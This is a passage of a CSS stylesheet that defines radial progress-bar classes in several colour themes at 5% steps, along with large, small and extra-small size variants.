#d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-75 { background-image: linear-gradient(360deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-80 { background-image: linear-gradient(378deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-85 { background-image: linear-gradient(396deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-90 { background-image: linear-gradient(414deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-95 { background-image: linear-gradient(432deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-100 { background-image: linear-gradient(450deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-50 { background-image: linear-gradient(270deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-55 { background-image: linear-gradient(288deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-60 { background-image: linear-gradient(306deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-65 { background-image: linear-gradient(324deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-70 { background-image: linear-gradient(342deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-75 { background-image: linear-gradient(360deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-80 { background-image: linear-gradient(378deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-85 { background-image: linear-gradient(396deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-90 { background-image: linear-gradient(414deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-95 { background-image: linear-gradient(432deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-100 { background-image: linear-gradient(450deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-50 { background-image: linear-gradient(270deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-55 { background-image: linear-gradient(288deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-60 { background-image: linear-gradient(306deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-65 { background-image: linear-gradient(324deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-70 { background-image: linear-gradient(342deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-75 { background-image: linear-gradient(360deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-80 { background-image: linear-gradient(378deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-85 { background-image: linear-gradient(396deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-90 { background-image: linear-gradient(414deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-95 { background-image: linear-gradient(432deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-100 { background-image: linear-gradient(450deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-50 { background-image: linear-gradient(270deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-55 { background-image: linear-gradient(288deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-60 { background-image: linear-gradient(306deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-65 { background-image: linear-gradient(324deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-70 { background-image: linear-gradient(342deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-75 { background-image: linear-gradient(360deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-80 { background-image: linear-gradient(378deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-85 { background-image: linear-gradient(396deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-90 { background-image: linear-gradient(414deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-95 { background-image: linear-gradient(432deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-100 { background-image: linear-gradient(450deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Default -- */ .radial-bar-default.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-50 { background-image: linear-gradient(270deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-55 { background-image: linear-gradient(288deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-60 { background-image: linear-gradient(306deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-65 { background-image: linear-gradient(324deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-70 { background-image: linear-gradient(342deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-75 { background-image: linear-gradient(360deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-80 { background-image: linear-gradient(378deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-85 { background-image: linear-gradient(396deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-90 { background-image: linear-gradient(414deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-95 { background-image: linear-gradient(432deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-100 { background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Pink -- */ .radial-bar-pink.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-50 { background-image: linear-gradient(270deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-55 { background-image: linear-gradient(288deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-60 { background-image: linear-gradient(306deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-65 { background-image: linear-gradient(324deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-70 { background-image: linear-gradient(342deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-75 { background-image: linear-gradient(360deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-80 { background-image: linear-gradient(378deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-85 { background-image: linear-gradient(396deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-90 { background-image: linear-gradient(414deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-95 { background-image: linear-gradient(432deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-100 { background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Purple -- */ .radial-bar-purple.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-50 { background-image: linear-gradient(270deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-55 { background-image: linear-gradient(288deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-60 { background-image: linear-gradient(306deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-65 { background-image: linear-gradient(324deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-70 { background-image: linear-gradient(342deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-75 { background-image: linear-gradient(360deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-80 { background-image: linear-gradient(378deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-85 { background-image: linear-gradient(396deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-90 { background-image: linear-gradient(414deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-95 { background-image: linear-gradient(432deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-100 { background-image: linear-gradient(450deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Inverse -- */ .radial-bar-inverse.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-50 { background-image: linear-gradient(270deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-55 { background-image: linear-gradient(288deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-60 { background-image: linear-gradient(306deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-65 { background-image: linear-gradient(324deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-70 { background-image: linear-gradient(342deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-75 { background-image: linear-gradient(360deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-80 { background-image: linear-gradient(378deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-85 { background-image: linear-gradient(396deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-90 { background-image: linear-gradient(414deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-95 { background-image: linear-gradient(432deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-100 { background-image: linear-gradient(450deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-lg { width: 100px; height: 100px; font-size: 20px; } .radial-bar-lg:after, .radial-bar-lg > img { width: 70px; height: 70px; margin-left: 15px; margin-top: 15px; line-height: 70px; } .radial-bar-sm { width: 50px; height: 50px; font-size: 12px; } .radial-bar-sm:after, .radial-bar-sm > img { width: 35px; height: 35px; margin-left: 7.5px; margin-top: 7.5px; line-height: 35px; } .radial-bar-xs { width: 30px; height: 30px; font-size: 8px; } .radial-bar-xs:after, .radial-bar-xs > img { width: 20px; height: 20px; margin-left: 5.5px; margin-top: 4.5px; line-height: 21px; } .radial-bar { 